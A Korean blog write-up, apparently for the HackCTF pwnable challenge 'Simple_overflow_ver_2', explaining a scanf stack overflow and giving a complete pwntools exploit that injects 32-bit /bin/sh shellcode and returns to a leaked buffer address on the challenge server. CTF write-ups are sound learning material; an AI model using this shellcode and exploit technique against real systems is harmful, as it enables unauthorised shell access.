문제 풀이 환경 : ubuntu 20.04 |
Analysis
scanf에서 BOF가 터진다.
그리고 buf 주소를 친절하게 출력해 준다. 이게 끝이다. 이전문제랑 걍 똑같다.
How to exploit
보호기법도 클린하니 쉘코드를 이용하면 될 것 같다.(NX disabled)
(이전문제랑 똑같아서 아무생각없이 64bit shellcode를 넣었었는데 이 문제는 32bit이다; 방심 ㄴㄴ;)
payload = 쉘코드 + dummy + SFP + RET(쉘코드 주소)
RET에는 쉘코드 자체가 아니라 쉘코드 주소가 들어가야하는 것을 명심명심
Let's exploit
from pwn import *
#p = process('./Simple_overflow_ver_2')
p = remote('ctf.j0n9hyun.xyz', 3006)
e = ELF('./Simple_overflow_ver_2')
p.sendlineafter(': ', 'aaaa')
#p.recvuntil('\n')
buf_addr = int(p.recv(10),16)
print(hex(buf_addr))
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = ''
payload += shellcode
payload += 'A'*(136-len(shellcode))
payload += 'BBBB' # SFP
payload += p32(buf_addr) # RET
pause()
p.sendlineafter(': ', 'y')
p.sendlineafter(': ', payload)
p.sendlineafter(': ', 'n')
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] BOF_PIE 풀이 (32bit, BOF, PIE) (0) | 2021.03.15 |
---|---|
[HackCTF : Pwnable] Offset 풀이 (32bit, BOF) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Simple_size_BOF 풀이 (64bit, shellcode) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF) (0) | 2021.03.05 |
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP) (0) | 2021.03.05 |